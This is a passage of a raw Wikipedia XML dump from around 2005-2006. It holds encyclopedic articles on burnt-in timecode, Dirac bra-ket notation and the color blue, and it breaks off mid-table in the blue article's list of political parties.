[[es:Baltos]]
[[it:Balti]]
[[ko:발트족]]
[[lt:Baltai]]
[[lv:Balti]]
[[no:Baltiske folkegruppe]]
[[pl:Bałtowie]]
[[ru:Балты]]
[[sl:Balti]]</text>
    </revision>
  </page>
  <page>
    <title>Burnt-in timecode</title>
    <id>4541</id>
    <revision>
      <id>25348990</id>
      <timestamp>2005-10-12T11:05:03Z</timestamp>
      <contributor>
        <ip>132.185.144.122</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Burnt-in_timecode.jpg|thumb|250px|[[Color bars]] with burnt-in timecode]]
'''Burnt-in timecode''' (often abbreviated to '''BITC''' by analogy to [[Timecode/Vertical interval timecode|VITC]]) is a human-readable on-screen version of the [[timecode]] information for a piece of material superimposed on a video image. BITC is sometimes used in conjunction with &quot;real&quot; machine-readable timecode, but more often used in copies of original material on to a non-broadcast format such as VHS, so that the VHS copies can be traced back to their master tape and the original time codes easily located. 

Professional [[VTR]]s can &quot;burn&quot; (overlay) the tape timecode onto one of their [[composite video|composite]] outputs. This output (which usually also displays the setup menu or [[on-screen display]]) is known as the ''super out'' or ''monitor out''. The ''character'' switch or menu item turns this behaviour on or off. The ''character'' function is also used to display the timecode on the preview monitors in [[linear video editing|linear editing]] suites.

Videotapes that are recorded with timecode numbers overlaid on the video are referred to as ''window dubs'', named after the &quot;window&quot; that displays the burnt-in timecode on-screen.

Some consumer cameras, in particular DV cameras, can &quot;burn&quot; (overlay) the tape timecode onto the composite output. This output typically is semi-transparent and may include other tape information. It is usually activated by turning on the 'display' info in one of the camera's sub-menus. While not as 'professional' as a true overlay as created by a professional [[VCR]]s, it provides a cheap alternative to professional dub-houses.

Some modern editing systems can use [[Optical character recognition|OCR]] techniques to read BITC in situations where other forms of timecode are not available.

==See also==
*[[Linear timecode]]
*[[Vertical interval timecode]]
*[[SMPTE time code]]
*[[MIDI timecode]]
*[[AES-EBU embedded timecode]]

[[Category:Encodings]][[Category:Synchronization]][[Category:Video and movie technology]]</text>
    </revision>
  </page>
  <page>
    <title>Bra-ket notation</title>
    <id>4542</id>
    <revision>
      <id>41507132</id>
      <timestamp>2006-02-27T20:57:12Z</timestamp>
      <contributor>
        <username>Laurascudder</username>
        <id>93622</id>
      </contributor>
      <comment>removing jokes section</comment>
      <text xml:space="preserve">'''Bra-ket notation''' is the standard notation for describing [[quantum states]] in the theory of [[quantum mechanics]]. It can also be used to denote abstract [[vector space|vectors]] and [[linear functional]]s in pure [[mathematics]]. It is so called because the [[inner product]] of two states is denoted by a '''bracket''', &lt;math&gt;\langle\phi|\psi\rangle&lt;/math&gt;, consisting of a left part, &lt;math&gt;\langle\phi|&lt;/math&gt;, called the '''bra''', and a right part, &lt;math&gt;|\psi\rangle&lt;/math&gt;, called the '''ket'''. The notation was invented by [[Paul Dirac]], and is also known as '''Dirac notation'''. It has recently become popular in [[quantum computing]].

==Bras and kets==
In [[quantum mechanics]], the state of a [[physics|physical]] system is identified with a vector in a [[complex number|complex]] [[Hilbert space]], ''H''. Each vector is called a &quot;ket&quot;, and written as

:&lt;math&gt;|\psi\rangle&lt;/math&gt;

where &amp;psi; denotes the particular ket, read as &quot;psi ket.&quot;

Every ket &lt;math&gt;|\psi\rangle&lt;/math&gt; has a [[Duality (mathematics)|dual]] bra, written as

:&lt;math&gt;\langle\psi|&lt;/math&gt;

This is a continuous [[linear functional|linear function]] from ''H'' to the complex numbers '''C''', defined by:

:&lt;math&gt;\langle\psi|\rho\rangle = \bigg( |\psi\rangle \;,\; |\rho\rangle \bigg)&lt;/math&gt; for all kets &lt;math&gt;|\rho\rangle&lt;/math&gt;

where ( , ) denotes the [[inner product]] defined on the Hilbert space. The bra is simply the [[conjugate transpose]] (also called the [[Hermitian conjugate]]) of the ket and vice versa. The notation is justified by the [[Riesz representation theorem]], which states that a Hilbert space and its [[dual space]] are isometrically isomorphic. Thus, each bra corresponds to exactly one ket, and vice versa. This is not always the case; on page 111 of Quantum Mechanics by Cohen-Tannoudji ''et al.'' it is clarified that there is such a relationship between bras and kets, so long as the defining functions used are [[square integrable]]. Consider a [[continuum|continuous]] basis and a [[Dirac delta function]] or a sine or cosine wave as a wave function. Such functions are not square integrable and therefore it arises that there are bras that exist with no corresponding ket. This does not hinder quantum mechanics because all physically realistic wave functions are square integrable.

Bra-ket notation can be used even if the vector space is not a Hilbert space. In any [[Banach space]] ''B'', the vectors may be notated by kets and the continuous [[linear functional]]s by bras. Over any vector space without topology, we may also notate the vectors by kets and the linear functionals by bras. In these more general contexts, the bracket does not have the meaning of an inner product, because the Riesz representation theorem does not apply.

Applying the bra &lt;math&gt;\langle\phi|&lt;/math&gt; to the ket &lt;math&gt;|\psi\rangle&lt;/math&gt; results in a complex number, called a &quot;bra-ket&quot; or &quot;bracket&quot;, which is written as

:&lt;math&gt;\langle\phi|\psi\rangle&lt;/math&gt;.

In quantum mechanics, this is the [[probability amplitude]] for the state &lt;math&gt;\psi\!&lt;/math&gt; to collapse into the state &lt;math&gt;\phi\!&lt;/math&gt;.

==Properties==
Bras and kets can be manipulated in the following ways:

* Given any bra &lt;math&gt;\langle\phi|&lt;/math&gt;, kets &lt;math&gt;|\psi_1\rangle&lt;/math&gt; and &lt;math&gt;|\psi_2\rangle&lt;/math&gt;, and [[complex number]]s ''c''&lt;sub&gt;1&lt;/sub&gt; and ''c''&lt;sub&gt;2&lt;/sub&gt;, then, since bras are ''linear'' functionals,

::&lt;math&gt;\langle\phi| \; \bigg( c_1|\psi_1\rangle + c_2|\psi_2\rangle \bigg) = c_1\langle\phi|\psi_1\rangle + c_2\langle\phi|\psi_2\rangle. &lt;/math&gt;

* Given any ket &lt;math&gt;|\psi\rangle&lt;/math&gt;, bras &lt;math&gt;\langle\phi_1|&lt;/math&gt; and &lt;math&gt;\langle\phi_2|&lt;/math&gt;, and complex numbers ''c''&lt;sub&gt;1&lt;/sub&gt; and ''c''&lt;sub&gt;2&lt;/sub&gt;, then, by the definition of addition and scalar multiplication of linear functionals,

::&lt;math&gt;\bigg(c_1 \langle\phi_1| + c_2 \langle\phi_2|\bigg) \; |\psi\rangle = c_1 \langle\phi_1|\psi\rangle + c_2\langle\phi_2|\psi\rangle. &lt;/math&gt;

* Given any kets &lt;math&gt;|\psi_1\rangle&lt;/math&gt; and &lt;math&gt;|\psi_2\rangle&lt;/math&gt;, and [[complex number]]s ''c''&lt;sub&gt;1&lt;/sub&gt; and ''c''&lt;sub&gt;2&lt;/sub&gt;, from the properties of the inner product (with c* denoting the [[complex conjugate]] of c),

::&lt;math&gt;
c_1|\psi_1\rangle + c_2|\psi_2\rangle&lt;/math&gt; is dual to &lt;math&gt; c_1^* \langle\psi_1| + c_2^* \langle\psi_2|.
&lt;/math&gt;

* Given any bra &lt;math&gt;\langle\phi|&lt;/math&gt; and ket &lt;math&gt;|\psi\rangle&lt;/math&gt;, an axiomatic property of the inner product gives

::&lt;math&gt;\langle\phi|\psi\rangle = \langle\psi|\phi\rangle^*&lt;/math&gt;.

==Linear operators==
If ''A'' : ''H'' &amp;rarr; ''H'' is a [[linear operator]], we can apply ''A'' to the ket &lt;math&gt;|\psi\rangle&lt;/math&gt; to obtain the ket &lt;math&gt;(A|\psi\rangle)&lt;/math&gt;. Linear operators are ubiquitous in the theory of quantum mechanics. For example, [[self-adjoint operator|hermitian operators]] are used to represent observable physical quantities, such as [[energy]] or [[momentum]], whereas [[unitary operator|unitary]] linear operators represent transformative processes such as rotation or the progression of time.

Operators can also be viewed as acting on bras ''from the right hand side''. Composing the bra &lt;math&gt;\langle\phi|&lt;/math&gt; with the operator ''A'' results in the bra &lt;math&gt;(\langle\phi|A)&lt;/math&gt;, defined as a linear functional on ''H'' by the rule

:&lt;math&gt;\bigg(\langle\phi|A\bigg) \; |\psi\rangle = \langle\phi| \; \bigg(A|\psi\rangle\bigg)&lt;/math&gt;.

This expression is commonly written as

:&lt;math&gt;\langle\phi|A|\psi\rangle.&lt;/math&gt;

A convenient way to define linear operators on ''H'' is given by the [[outer product]]: if &lt;math&gt;\langle\phi|&lt;/math&gt; is a bra and &lt;math&gt;|\psi\rangle&lt;/math&gt; is a ket, the outer product

:&lt;math&gt; |\phi\rang \lang \psi| &lt;/math&gt;

denotes the rank one operator that maps the ket &lt;math&gt;|\rho\rangle&lt;/math&gt; to the ket &lt;math&gt;|\phi\rangle\langle\psi|\rho\rangle&lt;/math&gt; (where &lt;math&gt;\langle\psi|\rho\rangle&lt;/math&gt; is a scalar multiplying the vector &lt;math&gt;|\phi\rangle&lt;/math&gt;). One of the uses of the outer product is to construct [[projection operator]]s. Given a ket &lt;math&gt;|\psi\rangle&lt;/math&gt; of norm 1, the orthogonal projection onto the [[Linear subspace|subspace]] spanned by &lt;math&gt;|\psi\rangle&lt;/math&gt; is

:&lt;math&gt;|\psi\rangle\langle\psi|&lt;/math&gt;

==Composite bras and kets==
Two Hilbert spaces ''V'' and ''W'' may form a third space &lt;math&gt;V \otimes W&lt;/math&gt; by a [[tensor product]]. In quantum mechanics, this is used for describing composite systems. If a system is composed of two subsystems described by ''V'' and ''W'' respectively, then the Hilbert space of the entire system is the tensor product of the two spaces. (The exception to this is if the subsystems are actually [[identical particles]]. In that case, the situation is a little more complicated.)

If &lt;math&gt;|\psi\rangle&lt;/math&gt; is a ket in V and &lt;math&gt;|\phi\rangle&lt;/math&gt; is a ket in W, the tensor product of the two kets is a ket in &lt;math&gt;V \otimes W&lt;/math&gt;. This is written variously as

:&lt;math&gt;|\psi\rangle|\phi\rangle&lt;/math&gt; or &lt;math&gt;|\psi\rangle \otimes |\phi\rangle&lt;/math&gt; or &lt;math&gt;|\psi \phi\rangle&lt;/math&gt; or &lt;math&gt;|\psi ,\phi\rangle&lt;/math&gt;.

==Representations in terms of bras and kets==
In quantum mechanics, it is often convenient to work with the projections of state vectors onto a particular basis, rather than the vectors themselves. The reason is that the former are simply [[complex number]]s, and can be formulated in terms of [[partial differential equation]]s (see, for example, the derivation of the position-basis [[Schrödinger equation]]). This process is very similar to the use of [[coordinates vector|coordinate vectors]] in [[linear algebra]].

For instance, the Hilbert space of a [[spin (physics)|zero-spin]] point particle is spanned by a position basis &lt;math&gt;\lbrace|\mathbf{x}\rangle\rbrace&lt;/math&gt;, where the label '''x''' extends over the set of position vectors.  Starting from any ket &lt;math&gt;|\psi\rangle&lt;/math&gt; in this Hilbert space, we can ''define'' a complex scalar function of '''x''', known as a [[wavefunction]]:

:&lt;math&gt;\psi(\mathbf{x}) \equiv \lang \mathbf{x}|\psi\rang&lt;/math&gt;.

It is then customary to define linear operators acting on wavefunctions in terms of linear operators acting on kets, by

:&lt;math&gt;A \psi(\mathbf{x}) \equiv \lang \mathbf{x}|A|\psi\rang&lt;/math&gt;.

Although the operator '''A''' on the left hand side of this equation is, by convention, labelled in the same way as the operator on the right hand side, it should be borne in mind that the two are conceptually different entities: the first acts on wavefunctions, and the second acts on kets. For instance, the [[momentum]] operator '''p''' has the following form:

:&lt;math&gt;\mathbf{p} \psi(\mathbf{x}) \equiv \lang \mathbf{x} |\mathbf{p}|\psi\rang = - i \hbar \nabla \psi(x) &lt;/math&gt;.

One occasionally encounters an expression like

:&lt;math&gt; - i \hbar \nabla |\psi\rang&lt;/math&gt;.

This is something of an [[abuse of notation]], though a fairly common one. The differential operator must be understood to be an abstract operator, acting on kets, that has the effect of differentiating wavefunctions once the expression is projected into the position basis:

:&lt;math&gt; - i \hbar \nabla \lang\mathbf{x}|\psi\rang&lt;/math&gt;.

''For further details, see [[rigged Hilbert space]].''

== Further reading ==
* {{cite book|author=Feynman, Leighton and Sands|title=The Feynman Lectures on Physics Vol. III|publisher= Addison-Wesley|year=1965|id=ISBN 0201021153}}

[[Category:Quantum mechanics]]
[[Category:Information theory]]
[[Category:Quantum information science]]

[[de:Bra-Ket]]
[[es:Notación bra-ket]]
[[fr:Notation bra-ket]]
[[ko:브라-켓 표기법]]
[[it:Notazione bra-ket]]
[[he:סימון דיראק]]
[[nl:Bra-ket]]
[[pl:Notacja Diraca]]
[[sl:Diracov zapis]]</text>
    </revision>
  </page>
  <page>
    <title>Blue</title>
    <id>4543</id>
    <revision>
      <id>42138942</id>
      <timestamp>2006-03-04T02:00:00Z</timestamp>
      <contributor>
        <username>Georgia guy</username>
        <id>161456</id>
      </contributor>
      <comment>Revert vandalism</comment>
      <text xml:space="preserve">{{otheruses}}
{{infobox color|title=Blue|hex=0000FF|textcolor=white|
 r=0|g=0|b=255|
 c=100|m=100|y=  0|k=  0|
 h=240|s=100|v=100
}}'''Blue''' is any of a number of similar colors. When it is a pure color from a single source, it corresponds with a [[wavelength]] range of about 420–490 [[nanometre|nanometers]]. It is considered to be one of the three primary additive [[color|colors]]; blue [[light]] has the shortest [[wavelength]] range of the three [[primary color|additive primary colors]]. The English language commonly uses &quot;blue&quot; to refer to any color from blue to [[cyan]].

In the [[RGB color space|RGB color system]], colors are made by mixing a red, a green and a blue color. When talking about RGB, therefore, some people use blue to mean that specific blue, which varies in shade according to the device used to display the RGB color. [[Absolute color spaces]] based on RGB, such as [[sRGB]] define an exact color for this blue, which may differ from the actual blue used in a particular computer monitor.

==Naming and etymology==
{{main|Color name}}
The modern English word ''blue'' comes from the [[Middle English]], where it began to be used along with ''bleu'', an [[Old French]] word of [[Germanic language|Germanic]] origin (possibly [[Old High German]] ''blao'', &quot;shining&quot;). A [[Scots language|Scots]] and [[Scottish English]] word for &quot;blue-grey&quot; is ''blae'', from the Middle English ''bla'' (&quot;dark blue,&quot; from the [[Old English language|Old English]] ''blæd''). As a curiosity, ''blue'' is thought to be cognate with ''[[blond]]'' and ''[[black]]'', also with Latin ''flavus'' (&quot;yellow&quot;; see ''[[flavescent]]'' and ''[[flavine]]'') and with Russian белый, ''belyi'' (&quot;white,&quot; see ''[[beluga]]''), all of which derive (according to the '' [[The American Heritage Dictionary of the English Language|American Heritage Dictionary]]'') from the [[Proto-Indo-European language|Proto-Indo-European]] [[Root (linguistics)|root]] *''bhel-'' meaning &quot;to shine, flash or burn&quot;, whence the names of various bright colors, and that of color black from a derivation meaning &quot;burnt&quot; (other words derived from this root include ''[[bleach]]'', ''[[bleak]]'', ''[[blind]]'', ''[[blank]]'', ''[[blush]]'', ''[[blaze]]'', ''[[flame]]'', ''[[fulminate]]'', ''flagrant'' and ''[[phlegm]]'').

Many languages do not have separate terms for blue and [[green]], instead using a cover term for both (when the issue is discussed in linguistics, this cover term is sometimes called ''[[grue (color)|grue]]'' in English). For example, in [[Vietnamese language|Vietnamese]] both tree leaves and the sky are ''xanh'' (to distinguish, one may use ''xanh lá cây'' &quot;leaf grue&quot; for green and ''xanh nước'' &quot;water grue&quot; for blue). [[Chinese language|Chinese]] has a word 青 ''qīng'' that can refer to both, though it also has separate words for blue (蓝 / 藍, ''lán'') and green (绿 / 綠, ''lǜ''). In traditional [[Welsh language|Welsh]] (and related [[Celtic languages]]), ''glas'' could refer to blue but also to certain shades of green and [[grey]]; however, modern Welsh is tending towards the 11-color Western scheme, restricting ''glas'' to blue and using ''gwyrdd'' for green and ''llwyd'' for grey. In [[Swedish language|Swedish]], ''blå'', the modern word for blue, was used to describe [[black]] until the early [[20th century]].

On the other hand, [[Russian language|Russian]] does not have a single word referring to the whole range of colors denoted by the English term &quot;blue.&quot; Instead, it treats light blue (голубой, ''goluboy'') as a separate color independent from plain or dark blue (синий, ''siniy''), while in English the light blues like [[azure]] and [[cyan]] are considered mere shades of &quot;blue&quot; and not shades of a different color. To better understand this, consider that English makes a similar distinction between &quot;[[red]]&quot; and light red ([[pink]], which is considered a different color and not merely a kind of red), but such a distinction is unknown in several other languages; for example, both &quot;red&quot; (红 / 紅, ''hóng'') and &quot;pink&quot; (粉红, ''fěn hóng'', lit. &quot;powder red&quot;) have traditionally been considered varieties of a single color in [[Chinese language|Chinese]]. Finally, it has been argued that [[Turkish language|Turkish]] treats dark or navy blue (''lacivert'', curiously a cognate of English ''[[azure]]'' and ''[[lapis lazuli]]'') as a separate color from plain or light blue (''mavi'').

==Sky==
A clear [[sky]] on a sunny [[day]] appears blue because of [[Rayleigh scattering]] of the light from the [[Sun]]. Large quantities of [[water]] appear blue because red light around 750 nm is absorbed as an overtone of the O-H stretching vibration. Interestingly, [[heavy water]] is colorless, because the absorption band (~950 nm) is outside the visible spectrum.

==Plants and animals==
[[Image:HyacinthoidesNonScripta.jpg|200px|thumb|right|The [[common bluebell]].]]
[[Image:Blueberries.jpg|200px|thumb|right|[[Blueberries]].]]
*'''[[Blue agave]]''' (''Agave tequilana'' var. ''weber'') is a blue-leafed [[Variety (biology)|variety]] of the [[Mexican agave]], used for making [[tequila]].
*'''[[Sockeye salmon|Blueback salmon]]''' (''Oncorhynchus nerka'') is a synonym for [[sockeye salmon]].
*'''[[Bluebell]]''' may refer to both the bulbous plants in the [[Hyacinthoides]] [[genus]] of [[lily|lilies]], or the plants in the genus [[Mertensia]].
*'''[[Blueberry]]''' refers to any of the plants in the genus [[Vaccinium]], all of which have flowers with edible [[berry|berries]] colored blue to blue-black, which are also called &quot;blueberries.&quot;
*'''[[Scaup|Bluebill]]''' is a synonym for [[scaup]], the name for two [[diving duck]]s in the [[Aythya]] genus: [[Greater Scaup]] (''Aythya marila'') and [[Lesser Scaup]] (''Aythya affinis'').
*'''[[Bluebird]]s''' are any of the [[List of North American birds|North American songbirds]] in the genus [[Sialia]]: [[Eastern Bluebird]] (''Sialia sialis''), [[Western Bluebird]] (''Sialia mexicana''), or [[Mountain Bluebird]] (''Sialia currucoides''). They are medium-sized [[thrush (bird)|thrushes]] that usually have blue plumage and, in males, a rust-color breast.
*'''[[Bluebonnet]]s''' are two [[lupine]] [[Annual plant|annual flowers]] in the ''[[lupine|Lupinus]]'' genus that are native to [[Texas]]: ''Lupinus subcarnosus'' and ''Lupinus texensis''. They have a light blue appearance and palmately compound leaves. In [[Scots language|Scots]] it refers to the bird Parus cœruleus.
*'''[[Blow-fly|Bluebottle]]s''' or blow-flies are any of the flies in the genus [[Calliphiora]] that have a brightly-colored metallic body and breed in decaying organic material.
*'''[[Blue catfish]]''' (''Ictalurus furcatus'') is a long bluish [[North America]]n [[catfish]] species, often weighing more than 45 kg (100 pounds).
*'''[[Dendrobates azureus|Blue poison dart frog]]s''' (''Dendrobates azureus'') are poisonous South American frogs that [[Bioaccumulation|bioaccumulate]] [[neurotoxin]]s in their blue skin.

When a [[dog]] or [[cat]] is described as having a &quot;blue&quot; coat, it refers to a shade of grey which takes on a bluish tint, and diluted variant of a pure black coat.  Breeds such as the [[Kerry Blue Terrier]] dog and [[Russian Blue]] cat have solid &quot;blue&quot; coats, as does the &quot;British Blue&quot; variety of the [[British Shorthair]] cat.  Others, such as the [[Australian Shepherd]] and [[Border Collie]], may have '''blue [[Merle (coat color in dogs)|merle]]''' coats, which is &quot;blue&quot; mixed in with a solid, usually brown or black, base color. (See also [[Blue Dog Democrats]], below).

The western skink has a brilliant cobalt blue tail.

==Geography==
===Mountains and ranges===
* '''[[Blue Ridge Mountains]]''', eastern edge or front range of the [[Appalachian Mountains]].
* '''[[Blue Mountains]]''', sandstone mountain range west of [[Sydney]], [[Australia]]

===Rivers===
* '''[[Blue Nile]]''', a river originating at [[Lake Tana]] in [[Ethiopia]].
* '''[[Blue Earth River]]''', a tributary of the [[Minnesota River]] in [[Minnesota]], [[United States]]. Blue Earth is a translation of the [[Dakota]] Indian word ''Mahkato'', meaning ''greenish blue earth''. The Blue Earth River is named from the bluish green earth that was used by the [[Sisseton Dakota]] as a pigment, found in a [[shaley]] layer of the rock bluff of this stream about three miles from the [[river mouth]].

==Symbolism and expressions==
[[Image:Picasso with cloak.jpg|200px|thumb|right|Picasso's ''Self-portrait with Cloak'' (1901)]]
Blue often denotes injury, such as in the phrase &quot;'''black and blue''',&quot; since it is the color of a [[bruise]]. Blue is used also as a word to denote a sad or melancholy state, as in [[depression (mood)|depression]], or simply a state of deep contemplation (however, the phrase &quot;blue skies,&quot; referring to sunny weather, implies cheerfulness). Symbolically, blue is associated with that state, such as the term '''[[blue period]]''' to describe 
[[Pablo Picasso]]'s work form [[1901]] to [[1904]]. 

* Blue is associated with [[water]].

* '''Blue sky''' is a term used to describe the ability to conceptualize or create something from nothing. In other words, ''[[ex nihilo]]''. It is a term that can describe a person, i.e. ''She's an amazing blue sky business analyst.'' It can also be used to illustrate constraints, i.e. ''You cannot work from a blue sky angle as there are limitations to what can be done for this project.''

* In old [[Australia]]n slang, a &quot;blue&quot; can also describe a fight or an argument. Men with red hair may be nicknamed &quot;Bluey&quot;. The phrase &quot;true blue&quot; also means &quot;genuine&quot; (example : &quot;He's a true blue Aussie&quot;).

*A '''blue joke''' or '''blue comedy''' is comedy which uses references to socially [[taboo]] subjects such as [[sex]]ual or [[lavatory|lavatorial]] [[double entendre]].

*'''[[Blue law]]''' is the term for [[law]]s regulating issues of [[morality]], such as [[alcoholic beverage|alcohol]], [[gambling]], or [[pornography]].

* Although blue is traditionally associated with boys as [[pink]] is associated with girls, there have also been periods in which pink was considered proper for boys and blue for girls, and times when no set color convention appears to have been in place. [[http://answers.google.com/answers/threadview?id=238733]] 

* Blue is the color of the [[snooker]] [[ball]] which has a 5-point value.

* '''Blue''' is a variety of [[credit card]] issued by [[American Express]].
* The [[German language|German]] word for blue is used for &quot;drunk&quot;. &quot;blau machen&quot; (make blue) means to skip work.
* In [[Russian language|Russian]], the word for light blue is slang for &quot;[[gay]]&quot;.
* '''Blue movie''' is a [[slang]] term for a pornographic [[film]]. There are also &quot;blue [[magazine]]s&quot;. This term is most common in [[United Kingdom|Britain]] but also used in the United States and [[Israel]].
* In [[auto racing]], a blue flag advises a car to yield to faster traffic behind.
* [[Blue balls]] is a slang term for a temporary fluid congestion in the [[scrotum]] and [[prostate]] region. It is most commonly associated with [[adolescents]] but can occur in any [[sexually mature]] [[male]]. It is often accompanied by a deep, agonizing, cramping ache.
* Royalty are sometimes described as having blue blood.
* *A &quot;'''[[blue chip]]'''&quot; is the nickname for a [[stock]] that is thought to be safe and in excellent financial shape. In the United States, [[U.S. one dollar bill|$1 bill]]s are delivered by the [[Federal Reserve Bank]] in blue straps.

==Books and written works==
A &quot;'''blue book'''&quot; is an [[almanac]] or similar reference work. For example, the ''[[Oregon Blue Book]]'' is the official directory and fact repository of the state of [[Oregon]], while the ''Harvard Bluebook'' dictates a style of legal citation. '''''[[The Blue Book]]''''' is a term for a policy document issued by the [[Federal Communications Commission]] in the [[United States]] in [[1946]], urging [[television network]]s to uphold their commitment to [[public service]]. The '''''[[Kelley Blue Book]]''''' is a popular guide used for [[automobile]] prices. 

'''Blue pages''' are a [[telephone directory]] of government offices&amp;mdash;either an official blue book or a section of a commercial directory. Compare with the [[yellow pages]] or [[white pages]].

In ''[[The Hitchhiker's Guide to the Galaxy]]'' there are many references to the [[Races from The Hitchhiker's Guide to the Galaxy#Hooloovoo|Hooloovoo]], &quot;a super-intelligent shade of the color blue.&quot;

''On Being Blue: A Philosophical Inquiry'' is a book-length essay by [[William H. Gass]].

==Prizes==
&quot;'''[[Blue ribbon]]'''&quot; is a term used to describe something of high quality, such as a '''''blue-ribbon panel''''' or a '''''blue-ribbon commission'''''. This comes from the practice of awarding blue ribbons for first place in competitions. The '''[[Blue Riband]]''' was a notional prize conferred since the [[1860]]s to the ship that made the fastest trans-Atlantic crossing. The first ship actually to fly a blue pennant from her masthead upon winning this was the French liner Normandie in 1936.

==Math, science, and technology==
[[Image:Windows 9X BSOD.png|200px|thumb|right|The &quot;[[blue Screen of Death|blue screen of death]].&quot;]]
*&quot;'''Big Blue'''&quot; is a nickname for [[International Business Machines|IBM]]. 

*IBM's [[chess computer]] (which defeated chess champion [[Garry Kasparov]]) was called '''[[Deep Blue]]'''.

*Users of [[Microsoft Windows]] often use the term &quot;blue&quot; to describe a computer that has encountered a &quot;'''[[blue Screen of Death|blue screen of death]]'''.&quot;

*A '''[[blue box]]''' is an electronic device with a tone pulsator that simulates a [[telephone operator]]'s dialing console by replicating the tones used to switch long-distance calls and using them to route the user's own call, bypassing the normal switching mechanism. They were used to avoid charges for telephone calls. 

*In medical diagrams, blue is used to represent [[vein]]s carrying deoxygenated [[blood]] back to the [[heart]]. Deoxygenated blood is actually reddish violet. When a medical patient is not getting enough oxygen or has stopped breathing, however, their skin often takes a blue tint, a condition called [[cyanosis]].

*In [[astronomy]], a '''[[blue moon]]''' is the second [[full moon]] in a calendar month, the third full moon in a season that has four, or a moon that appears blue because of particles in the atmosphere. All are uncommon enough that the expression &quot;'''once in a blue moon'''&quot; means &quot;once in a great while&quot; or &quot;infrequently.&quot;

*Additionally, the color blue is a trademark of the [[Dow Chemical Company]]. [http://www.dow.com/styrofoam/what.htm]

* In the [[CIE 1931 color space]], the complement of blue is yellow.

* Blue 80A [[filter (photography)|filter]]s are used to correct the excessive redness of tungsten lighting in color [[photography]].

==National, athletic, and university associations==
[[Image:Flag of Israel.svg|thumb|200px|right|This Israeli flag depicts a blue [[Star of David]] on a white background between two blue stripes. The color blue is mandated only as &quot;sky blue,&quot; and the shade varies from flag to flag; sometimes it is a dark, almost navy blue, other times it is a very light blue.]]
'''''Azzurro''''', a light blue, is the national color of [[Italy]]. Blue (along with [[white]]) is the national color of [[Israel]] and the color is seen on the [[Flag of Israel|Israeli flag]].

Dark blue is associated with the [[University of Oxford]] and light blue with the [[University of Cambridge]]. The sporting colors of these universities are called &quot;the blues.&quot; 

A specific shade of dark blue is associated with [[Yale University]]. [[Blue Devils]] are the mascot of many American universities; [[Blue Devils (Duke University)|Duke University's blue devils]] are the most famous. Ironically their rivals the [[University of North Carolina at Chapel Hill]] also uses a shade of blue as their school color. This has led many to associate their school colors to differentiate shades of blue in daily occurrences, with the darker blue known as &quot;Duke blue&quot; and the lighter powder blue as &quot;Carolina blue.&quot;  Other universities with the mascot include  [[Brigham Young University]], [[Central Connecticut State University]], [[Dillard University]], [[Lawrence Technological University]], [[State University of New York at Fredonia]], and the [[University of Wisconsin-Stout]].

The [[Columbus Blue Jackets]] are a [[National Hockey League]] team based in [[Columbus, Ohio|Columbus]], [[Ohio]]. The [[Blue Jays]] are the mascots of the [[Toronto Blue Jays]], a  [[Major League Baseball]] team, and its two [[minor league baseball|minor league]] affiliates: the [[Dunedin Blue Jays]] in  [[Dunedin, Florida|Dunedin]], [[Florida]], and the [[Pulaski Blue Jays]] in [[Pulaski, Virginia|Pulaski]], [[Virginia]].

==Social class, occupation, and military associations==
Blue may denote the [[working class]], derived from the traditional color of factory [[uniform]]s. [[Blue-collar|Blue-collar workers]] are industrial workers and are often contrasted with [[white-collar]] office workers. However, in contrast to &quot;blue collar,&quot; the phrase &quot;blue blood&quot; is used to mean &quot;from an [[aristocracy|aristocratic]] background,&quot; because pale, untanned skin&amp;ndash;historically, a sign of nobility&amp;ndash;allows blue-tinged veins to show through.

Several vocations are associated with blue. [[Law enforcement]], and uniformed [[police]], often  wear blue uniforms and have become associated with the color, as seen in phrases such as &quot;boys in blue,&quot; &quot;blue line,&quot; and &quot;blue wall.&quot; Most [[police car]]s have blue colors, and [[United Nations]] [[peacekeeping|peacekeepers]] are uniformed in blue and white. &quot;Bluecoat&quot; (akin to &quot;[[redcoat]]&quot;) refers to a uniformed police officer. Police in the [[People's Republic of China]] changed the color of their uniforms from [[green]] to blue in the late [[1990s]], partly to emphasize their civilian role. Since laws prohibit police from declaring a strike, the &quot;[[blue flu]]&quot; is a &quot;[[sickout]]&quot;: a type of [[strike action]] in which police call in sick.

Blue is associated with many [[air force]]s and [[navy|navies]] because of the color of their dress uniforms, while green is associated with [[army|armies]]. [[Navy blue]] is a particular shade of blue worn by sailors in the [[Royal Navy]] since [[1748]] and subsequently adopted by other navies around the world. The [[Blue Angels]] are an acrobatic flight squadron of the [[United States Navy|U.S. Navy]].

==Political associations==
[[Image:Bdoglogo.jpg|200px|thumb|right|Logo of the congressional [[Blue Dog Democrats]].]]
:''Main article: [[Political colour]]''

Blue, like [[white]], may represent authority, as opposed to [[revolutionary]] [[red]] or [[anarchism|anarchist]] [[black]].

During the [[American Civil War]], blue was used to represent the [[Union (American Civil War)|Union]], while [[gray]] represented the [[Confederate States of America|Confederacy]]. This representation was based on the uniforms worn by the respective armies, although uniforms remained non-standard thoughout the war and sometimes the colors were switched.

The coalition with the [[Kuomintang]], [[People's First Party]], and the [[New Party]] in Taiwan, which favors unification with mainland China is called the [[Pan-blue coalition]] due to the color of the party banner of the [[Kuomintang]] which is considered the dominant party of the coalition.

Internationally, blue is the symbol for [[conservatism]] and [[political party|conservative political parties]]. There are several notable exceptions and different meanings:

{| {{prettytable}}
|-
!Seal/logo||Nation||Political party||Ideology||Color(s)
|-
![[Image:Liberalpartyofaus.jpg|40px]]
|[[List of political parties in Australia|Australia]]
|[[Liberal Party of Australia|Liberal Party]]
|[[Liberal conservatism]]
||Blue 
|-
![[Image:Bloc Quebecois 2004 Logo.png|40px]]
|[[List of political parties in Canada|Canada]]
|[[Bloc Québécois]]
|[[Quebec sovereignty movement|Quebec sovereignty]]/[[Social democracy]]
||Light blue
|-
![[Image:Conservative Party of Canada.png|40px]]
|[[List of political parties in Canada|Canada]]
|[[Conservative Party of Canada|Conservative Party]]
|[[Conservatism]]/[[right-wing politics|right-wing]]
||Blue
|-
![[Image:Kokoomus logo.gif|40px]]
|[[List of political parties in Finland|Finland]]
|[[National Coalition Party (Finland)|National Coalition Party]]
|[[Liberal conservatism]]
|Blue 
|-
![[Image:FDP-logo.png|40px]]
|[[List of political parties in Germany|Germany]]
|[[Free Democratic Party (Germany)|Free Democratic Party]]
|[[Liberalism]]
|Blue and yellow
|-
![[Image:Partit Nazzjonalista (Malta) (Emblem).jpg|40px]]
|[[List of political parties in Finland|Malta]]
|[[Nationalist Party (Malta)|Nationalist Party]]
